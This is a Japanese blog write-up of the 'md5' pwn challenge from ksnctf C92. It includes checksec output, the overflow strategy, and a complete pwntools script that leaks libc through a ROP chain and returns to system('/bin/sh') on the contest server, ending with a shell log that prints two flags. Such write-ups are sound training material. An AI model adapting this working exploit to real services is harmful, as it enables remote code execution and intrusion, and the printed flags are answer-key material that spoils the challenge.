ブログ未満のなにか

ブログなのか誰にも分からない

ksnctf C92 md5 writeup

はじめに

ksnctf C92のwriteup公開が解禁されたようなので、唯一のpwn問題だったmd5のwriteupをあげる。 ksnctf C92の各問題は下記リンクより参照できる。

ksnctf C92

初期調査

chceksecの結果を以下に載せる。SSPがないため、stackでのBOFが狙えそうである。また、Full RELROでないため、GOTの書き換えも有効である。 libcが公開されているため、address leakからのret2libcも狙える。

[*] '/home/hama/ctf/ksnctf/md5/md5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

機能

ローカルで動かす際にはflag.txtが必要となる。 はじめにデータの長さを入力し、次に指定した長さ分のデータを入力できる。 入力データに対してmd5を求めて出力している。 exitを入力すると処理を終了する。

% ./md5 
Wait...
Input data length: 10
Input data: aaaabbbbcc
MD5(your data): 11a7cd2ff48c01afcc65cca69ed0f886
MD5(flag): d0ac268c6f2253bda954982ef99c1295
Input data length: 4
Input data: exit
MD5(your data): f24f62eeb789199b9b2e467df3b1876b

方針

入力できるデータの長さを指定できるが、長さに制限はない。そのため用意されているバッファよりも大きい値を指定すればBOFが起きる。 main関数の戻りアドレスをBOFで上書きし、ROPでputs(libc_start_main_got)を実行する。得られた値からlibcがマッピングされているlibc_baseが求まる。 ここまででは、address leakができただけなので、再度の攻撃を行えるように再びmain関数を実行させるようにする。 2度目の攻撃では求めたlibc_baseを用いて、__libc_systemとlibc内に存在する'/bin/sh'を用いてret2libcを行った。

exploit

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log

RHOST = "ksnctfc92.u1tramarine.blue"
RPORT = 55555
LHOST = "127.0.0.1"
LPORT = 55555

elf = ELF('./md5')
def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        libc = ELF('./libc.so.6')
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./md5'], execute=execute)
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    conn = process(['./md5'])
# conn = process(['./md5'], env={'LD_PRELOAD': './libc.so.6'})


def calc_MD5(length, payload):
    conn.sendlineafter('Input data length:', str(length))
    conn.sendlineafter('Input data:', payload)


# preparing for exploitation

libc_start_main_got = elf.got['__libc_start_main']
puts_addr = elf.symbols['puts']
main_addr = elf.symbols['main']

# 0x00400f13: pop rdi ; ret  ;  (1 found)
pop_rdi = 0x00400f13

log.info('Pwning')

payload = 'A' * (0x30+0x20) + p64(0x602098) + "A" * 0x20

rop = p64(pop_rdi)
rop += p64(libc_start_main_got)
rop += p64(puts_addr)
rop += p64(main_addr)
payload += rop

calc_MD5(len(payload), payload)
calc_MD5(4, 'exit')

# leak libc_base
conn.recvuntil('f24f62eeb789199b9b2e467df3b1876b\n')
libc_base = u64(conn.recv(6).ljust(8, '\x00') ) - libc.symbols['__libc_start_main']
log.info('libc_base = {:#x}'.format(libc_base))


payload = 'A' * (0x30+0x20) + p64(0x602099) + "A" * 0x20

rop = p64(pop_rdi)
rop += p64(libc_base + next(libc.search('/bin/sh')))
rop += p64(libc_base + libc.symbols['system'])
# rop += p64(main_addr)
payload += rop

calc_MD5(len(payload), payload)
calc_MD5(4, 'exit')

conn.interactive()
% python exploit.py r
[*] '/home/hama/ctf/ksnctf/md5/md5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/home/hama/ctf/ksnctf/md5/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to ksnctfc92.u1tramarine.blue on port 55555: Done
[*] Pwning
[*] libc_base = 0x7fc9e6de7000
[*] Switching to interactive mode
 MD5(your data): f24f62eeb789199b9b2e467df3b1876b
$ ls
flag.txt
flag2.txt
md5
md5.sh
$ cat flag*
FLAG{EukFcauPdlPYh0bK}
FLAG{OpBW3mIwSllxumQZ}

おわりに

シェルを取ればフラグが2つ得られるお得な問題だった。 しかし、2つ目のフラグをsubmitするためには裏にいく必要があり、到達できなかったためフラグを腐らせてしまった。